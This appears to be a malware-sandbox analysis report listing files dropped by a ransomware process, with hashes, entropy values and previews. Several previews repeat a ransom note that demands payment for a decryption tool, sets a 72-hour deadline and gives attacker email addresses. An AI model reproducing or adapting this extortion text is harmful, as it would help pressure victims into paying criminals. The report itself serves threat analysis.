                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1200
                                                                                                                                                                Entropy (8bit):7.847769366744181
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:IEbx6e9Ysw52IEQtqDwz6qp7iFM8C0Eb8nATzyCIZtfxTNaTUf:IvFgIEQ266qp7i+8C0Q8n4DAt5NaS
                                                                                                                                                                MD5:2415A245415711C71CFBAFA7445B6C23
                                                                                                                                                                SHA1:0FE66F47180A6F7CEAAA8824569292966D22FFD7
                                                                                                                                                                SHA-256:859D263473B117D969F81BD568B9E8F250FC4853FD26B3B84B2111B656A7BBC0
                                                                                                                                                                SHA-512:D17201B871ECED9792254D1DEA675DBFEDD695EA48706BC5E8133232C7C5E548A3C4FFE65D0C65453FA51C2B5DDED223F429641FB89B457E03083D9A96AEFF46
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:$B.X.t...z.=..kRB....=......w..f.kx...b...Qk/w.....[.>..}.&8.E!..i....h.4.. .....).bd....h.$.....!....i.j.j..&...6......lI.sS..{.DwbH.o....3..#.GV........A...........t.....,....s1...r....G.....?...9.:.)%..vQ.c\&.30xI.....v.Q+.%H.9Nq,...Q...$*X/O.....J>..Q/. ..zn......t...YK.$...G....8mK.Y.hE...#..q.....K."K."..X.h.....z..1..E.{.-....HD...v%f....*\S.p.H.M>...;....wh;..z.YJ.w.[R..&T(..../.....T.q1.8.O9.p$.&.c(0..u.|...Va}.\.....Ja_..G7...A..5..u\i.}.v7..}cK....7..e..>.*n........5bI&.H.7.R'&..>.K..B..l.+q..85...E...k.9..~..SW..&l._.K...t..A1.......l...../m?w....K../]..$j./<..iU.{.....P....k...S.Zm.[.y..T.G.,...'........n.`..\g.?^*.o.P.(..v.@<.).....,.=g.. .[.....,{n.....o..A.........<....t...V*)J(-..ScU..;_].u.=..1.;..B...#f......H...U.V[-..F.R|...1..\....>&\-C.u.O9.c.XV.r..3..zk...g...}......"D.<.........c.m.......Eu..9S)%`@..J.^k.)=.R......j.U..M...Z.Y7. 4A..5;.....G>2.....C.N.h.$.......$...d............K..nX.......ok..C.L.]...Bq.A.l.Hw
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1200
                                                                                                                                                                Entropy (8bit):7.847769366744181
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:IEbx6e9Ysw52IEQtqDwz6qp7iFM8C0Eb8nATzyCIZtfxTNaTUf:IvFgIEQ266qp7i+8C0Q8n4DAt5NaS
                                                                                                                                                                MD5:2415A245415711C71CFBAFA7445B6C23
                                                                                                                                                                SHA1:0FE66F47180A6F7CEAAA8824569292966D22FFD7
                                                                                                                                                                SHA-256:859D263473B117D969F81BD568B9E8F250FC4853FD26B3B84B2111B656A7BBC0
                                                                                                                                                                SHA-512:D17201B871ECED9792254D1DEA675DBFEDD695EA48706BC5E8133232C7C5E548A3C4FFE65D0C65453FA51C2B5DDED223F429641FB89B457E03083D9A96AEFF46
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:$B.X.t...z.=..kRB....=......w..f.kx...b...Qk/w.....[.>..}.&8.E!..i....h.4.. .....).bd....h.$.....!....i.j.j..&...6......lI.sS..{.DwbH.o....3..#.GV........A...........t.....,....s1...r....G.....?...9.:.)%..vQ.c\&.30xI.....v.Q+.%H.9Nq,...Q...$*X/O.....J>..Q/. ..zn......t...YK.$...G....8mK.Y.hE...#..q.....K."K."..X.h.....z..1..E.{.-....HD...v%f....*\S.p.H.M>...;....wh;..z.YJ.w.[R..&T(..../.....T.q1.8.O9.p$.&.c(0..u.|...Va}.\.....Ja_..G7...A..5..u\i.}.v7..}cK....7..e..>.*n........5bI&.H.7.R'&..>.K..B..l.+q..85...E...k.9..~..SW..&l._.K...t..A1.......l...../m?w....K../]..$j./<..iU.{.....P....k...S.Zm.[.y..T.G.,...'........n.`..\g.?^*.o.P.(..v.@<.).....,.=g.. .[.....,{n.....o..A.........<....t...V*)J(-..ScU..;_].u.=..1.;..B...#f......H...U.V[-..F.R|...1..\....>&\-C.u.O9.c.XV.r..3..zk...g...}......"D.<.........c.m.......Eu..9S)%`@..J.^k.)=.R......j.U..M...Z.Y7. 4A..5;.....G>2.....C.N.h.$.......$...d............K..nX.......ok..C.L.]...Bq.A.l.Hw
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):67751
                                                                                                                                                                Entropy (8bit):7.850334094939167
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:hUiNVxdra2smyP4Izm+XzfrxzLS4nVu0G8ibDtJ:hVN/dGe444dzNk0G8ibDtJ
                                                                                                                                                                MD5:B7C9AC8F120C5D257CB2E4E9D0EC1D8A
                                                                                                                                                                SHA1:2A179365B93D2C9FC20964CD57236B4574D2BA90
                                                                                                                                                                SHA-256:23DD96EFE8FF50E4DD7A534AEB1023691ECD68066C65EB0933533B6BEF9F621A
                                                                                                                                                                SHA-512:13E532D433743406D52F3CB043D5019A30D8D284690B4859A998C2969DFBCF8FE8158E2755ABD9FA8A13841DD561E1F2A6E9E4EB4E49D9D70CDEC6E427B4143A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....V......]+....<v.......a ..WM...>G...E..`.& {.v.....Po.~t.G.j.. {.y..I.i..|o.C..t..B.....Ad._.<.Q|.]$?H.Y.31...IP..7.'.G..Y..g..U...g.k.y.d....n\.....e8...BtIou.....ke..0.r/.....U..h.....).......go.Ir.0a..e....Z...t"..P....N....Kj..G?i..@,.8..S...D.{..)....8.$.<h.....a.mD.u....2..K\.C?.].G...X.4..o..~tG.8...[S.......@..1b..$>6?~.K.(....4T...$.............Yl.^d....x..W`.F'....L..5A..G.8H.V..t..k..KM....3h...W......w.......9.)..../8....).).....~...\.Fyt.....c.c....##.|f.......e......".F......l..^9.e.*.q/.n.kHR.-......(.#.b....c...=.).............R@ ...........w..f...q...E.m'./m.&..a..;.....f...r.._.R~N......>..n0..@.......l.'......\R.....p.o ...>6^uS.....p..E..PF.b.*.g.0.]X....'#.:<{Z56..6.....ao...r....q.O.o..O.7Z..8g.?...n..V.n.!~....y......j../g]......._..@Q/.I...G..?J&3...5..g.19.Fe.Y-+.t...l.3>....x....u4L"..t.....y.cfH.L,.....F..........ut^9.I3r}.........G...i....W...M...^.C..U..8....[MR.M.F...`vn..g.;.qR.l\).6.......N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):67751
                                                                                                                                                                Entropy (8bit):7.850334094939167
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:hUiNVxdra2smyP4Izm+XzfrxzLS4nVu0G8ibDtJ:hVN/dGe444dzNk0G8ibDtJ
                                                                                                                                                                MD5:B7C9AC8F120C5D257CB2E4E9D0EC1D8A
                                                                                                                                                                SHA1:2A179365B93D2C9FC20964CD57236B4574D2BA90
                                                                                                                                                                SHA-256:23DD96EFE8FF50E4DD7A534AEB1023691ECD68066C65EB0933533B6BEF9F621A
                                                                                                                                                                SHA-512:13E532D433743406D52F3CB043D5019A30D8D284690B4859A998C2969DFBCF8FE8158E2755ABD9FA8A13841DD561E1F2A6E9E4EB4E49D9D70CDEC6E427B4143A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....V......]+....<v.......a ..WM...>G...E..`.& {.v.....Po.~t.G.j.. {.y..I.i..|o.C..t..B.....Ad._.<.Q|.]$?H.Y.31...IP..7.'.G..Y..g..U...g.k.y.d....n\.....e8...BtIou.....ke..0.r/.....U..h.....).......go.Ir.0a..e....Z...t"..P....N....Kj..G?i..@,.8..S...D.{..)....8.$.<h.....a.mD.u....2..K\.C?.].G...X.4..o..~tG.8...[S.......@..1b..$>6?~.K.(....4T...$.............Yl.^d....x..W`.F'....L..5A..G.8H.V..t..k..KM....3h...W......w.......9.)..../8....).).....~...\.Fyt.....c.c....##.|f.......e......".F......l..^9.e.*.q/.n.kHR.-......(.#.b....c...=.).............R@ ...........w..f...q...E.m'./m.&..a..;.....f...r.._.R~N......>..n0..@.......l.'......\R.....p.o ...>6^uS.....p..E..PF.b.*.g.0.]X....'#.:<{Z56..6.....ao...r....q.O.o..O.7Z..8g.?...n..V.n.!~....y......j../g]......._..@Q/.I...G..?J&3...5..g.19.Fe.Y-+.t...l.3>....x....u4L"..t.....y.cfH.L,.....F..........ut^9.I3r}.........G...i....W...M...^.C..U..8....[MR.M.F...`vn..g.;.qR.l\).6.......N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):67751
                                                                                                                                                                Entropy (8bit):7.850334094939167
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:hUiNVxdra2smyP4Izm+XzfrxzLS4nVu0G8ibDtJ:hVN/dGe444dzNk0G8ibDtJ
                                                                                                                                                                MD5:B7C9AC8F120C5D257CB2E4E9D0EC1D8A
                                                                                                                                                                SHA1:2A179365B93D2C9FC20964CD57236B4574D2BA90
                                                                                                                                                                SHA-256:23DD96EFE8FF50E4DD7A534AEB1023691ECD68066C65EB0933533B6BEF9F621A
                                                                                                                                                                SHA-512:13E532D433743406D52F3CB043D5019A30D8D284690B4859A998C2969DFBCF8FE8158E2755ABD9FA8A13841DD561E1F2A6E9E4EB4E49D9D70CDEC6E427B4143A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....V......]+....<v.......a ..WM...>G...E..`.& {.v.....Po.~t.G.j.. {.y..I.i..|o.C..t..B.....Ad._.<.Q|.]$?H.Y.31...IP..7.'.G..Y..g..U...g.k.y.d....n\.....e8...BtIou.....ke..0.r/.....U..h.....).......go.Ir.0a..e....Z...t"..P....N....Kj..G?i..@,.8..S...D.{..)....8.$.<h.....a.mD.u....2..K\.C?.].G...X.4..o..~tG.8...[S.......@..1b..$>6?~.K.(....4T...$.............Yl.^d....x..W`.F'....L..5A..G.8H.V..t..k..KM....3h...W......w.......9.)..../8....).).....~...\.Fyt.....c.c....##.|f.......e......".F......l..^9.e.*.q/.n.kHR.-......(.#.b....c...=.).............R@ ...........w..f...q...E.m'./m.&..a..;.....f...r.._.R~N......>..n0..@.......l.'......\R.....p.o ...>6^uS.....p..E..PF.b.*.g.0.]X....'#.:<{Z56..6.....ao...r....q.O.o..O.7Z..8g.?...n..V.n.!~....y......j../g]......._..@Q/.I...G..?J&3...5..g.19.Fe.Y-+.t...l.3>....x....u4L"..t.....y.cfH.L,.....F..........ut^9.I3r}.........G...i....W...M...^.C..U..8....[MR.M.F...`vn..g.;.qR.l\).6.......N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):67751
                                                                                                                                                                Entropy (8bit):7.850334094939167
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:hUiNVxdra2smyP4Izm+XzfrxzLS4nVu0G8ibDtJ:hVN/dGe444dzNk0G8ibDtJ
                                                                                                                                                                MD5:B7C9AC8F120C5D257CB2E4E9D0EC1D8A
                                                                                                                                                                SHA1:2A179365B93D2C9FC20964CD57236B4574D2BA90
                                                                                                                                                                SHA-256:23DD96EFE8FF50E4DD7A534AEB1023691ECD68066C65EB0933533B6BEF9F621A
                                                                                                                                                                SHA-512:13E532D433743406D52F3CB043D5019A30D8D284690B4859A998C2969DFBCF8FE8158E2755ABD9FA8A13841DD561E1F2A6E9E4EB4E49D9D70CDEC6E427B4143A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....V......]+....<v.......a ..WM...>G...E..`.& {.v.....Po.~t.G.j.. {.y..I.i..|o.C..t..B.....Ad._.<.Q|.]$?H.Y.31...IP..7.'.G..Y..g..U...g.k.y.d....n\.....e8...BtIou.....ke..0.r/.....U..h.....).......go.Ir.0a..e....Z...t"..P....N....Kj..G?i..@,.8..S...D.{..)....8.$.<h.....a.mD.u....2..K\.C?.].G...X.4..o..~tG.8...[S.......@..1b..$>6?~.K.(....4T...$.............Yl.^d....x..W`.F'....L..5A..G.8H.V..t..k..KM....3h...W......w.......9.)..../8....).).....~...\.Fyt.....c.c....##.|f.......e......".F......l..^9.e.*.q/.n.kHR.-......(.#.b....c...=.).............R@ ...........w..f...q...E.m'./m.&..a..;.....f...r.._.R~N......>..n0..@.......l.'......\R.....p.o ...>6^uS.....p..E..PF.b.*.g.0.]X....'#.:<{Z56..6.....ao...r....q.O.o..O.7Z..8g.?...n..V.n.!~....y......j../g]......._..@Q/.I...G..?J&3...5..g.19.Fe.Y-+.t...l.3>....x....u4L"..t.....y.cfH.L,.....F..........ut^9.I3r}.........G...i....W...M...^.C..U..8....[MR.M.F...`vn..g.;.qR.l\).6.......N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):112129
                                                                                                                                                                Entropy (8bit):7.710039287455862
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:5WfIUDIVYNhZBIDt9KFHgoYF0gOY0yLEJdUjMcpu:AgfAZsVFF0gOjymdY6
                                                                                                                                                                MD5:97FA7315BC19867547F24C97131864A2
                                                                                                                                                                SHA1:7911DE72FFEC73A7A5745996C959110C87A1D4DB
                                                                                                                                                                SHA-256:3491E019163B1152816F21CC528EC1E480D4B0EF058419AAFF7FDED41CC0C680
                                                                                                                                                                SHA-512:67043D0755421A8345824F4772FE856A7038E2A59A17B5C4E782367831B86063A246CCC78F596BFAD0DF05F45EFED119C3727710950AD9500434470987A0A13A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..I.#.!I$H.]...{%.............ge.F....A.q........n[y...{..`].iE........e.S<4.....p....z1#f...5.O.'T..)-Wj-CC|{...f....tx.`...m.K{w,...7c.....L+y.V/+Qp..@..]2s.%H^.h.....V..L.]=].V..e...T.".!.I.Av.PM.......#t....`.r.+<......y...7^2h........C-,...[..].V.y:.C.O...V...9.6n..g.......]7=...n.O....S../...S..R[%.j.'p6,MX.....D,{..:.z.9.:.l..G..J.1.?..&.M.9z..VP....(8^....{r.D....M..w.....-..m...y..>._..J..*...$n..d..m2N.O.y..r.....q@g...-.. .r.B..5...%..>.b..&..9......As7t_?.>.M.uRP....P%........=<...Q........$.6I.K.?3{....G....f.9Z.Dr..g...s.F3..mVT.....U.?j..-.&....~..T..+1I.?.(.Ik...KsA....Y....L..)..<.z..F.i....4........ty.....W.X..?.#.Z..uR....KY0r..n+T.8X!..u..~....gv.Q.J....H..mX.sn....wb.M.2.mc....E.u.|.....G@M..;.NF.n.;(..-....]..i...^.<..'...G}*h.q+.N...D%F.G...~.....6\....V..N.R`&-.#.Xi....Rvu.kv+.af....f.gO..>.q%.z.)..m.h$ . .E}..Bqvk...U.yY...w.c.$...&~.N.)..?.d.%..0,......<P.`.g.\Ct..r..=.y..fW....gt'.w...&P.;U.O.....H..I_#
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):112129
                                                                                                                                                                Entropy (8bit):7.710039287455862
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:5WfIUDIVYNhZBIDt9KFHgoYF0gOY0yLEJdUjMcpu:AgfAZsVFF0gOjymdY6
                                                                                                                                                                MD5:97FA7315BC19867547F24C97131864A2
                                                                                                                                                                SHA1:7911DE72FFEC73A7A5745996C959110C87A1D4DB
                                                                                                                                                                SHA-256:3491E019163B1152816F21CC528EC1E480D4B0EF058419AAFF7FDED41CC0C680
                                                                                                                                                                SHA-512:67043D0755421A8345824F4772FE856A7038E2A59A17B5C4E782367831B86063A246CCC78F596BFAD0DF05F45EFED119C3727710950AD9500434470987A0A13A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..I.#.!I$H.]...{%.............ge.F....A.q........n[y...{..`].iE........e.S<4.....p....z1#f...5.O.'T..)-Wj-CC|{...f....tx.`...m.K{w,...7c.....L+y.V/+Qp..@..]2s.%H^.h.....V..L.]=].V..e...T.".!.I.Av.PM.......#t....`.r.+<......y...7^2h........C-,...[..].V.y:.C.O...V...9.6n..g.......]7=...n.O....S../...S..R[%.j.'p6,MX.....D,{..:.z.9.:.l..G..J.1.?..&.M.9z..VP....(8^....{r.D....M..w.....-..m...y..>._..J..*...$n..d..m2N.O.y..r.....q@g...-.. .r.B..5...%..>.b..&..9......As7t_?.>.M.uRP....P%........=<...Q........$.6I.K.?3{....G....f.9Z.Dr..g...s.F3..mVT.....U.?j..-.&....~..T..+1I.?.(.Ik...KsA....Y....L..)..<.z..F.i....4........ty.....W.X..?.#.Z..uR....KY0r..n+T.8X!..u..~....gv.Q.J....H..mX.sn....wb.M.2.mc....E.u.|.....G@M..;.NF.n.;(..-....]..i...^.<..'...G}*h.q+.N...D%F.G...~.....6\....V..N.R`&-.#.Xi....Rvu.kv+.af....f.gO..>.q%.z.)..m.h$ . .E}..Bqvk...U.yY...w.c.$...&~.N.)..?.d.%..0,......<P.`.g.\Ct..r..=.y..fW....gt'.w...&P.;U.O.....H..I_#
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
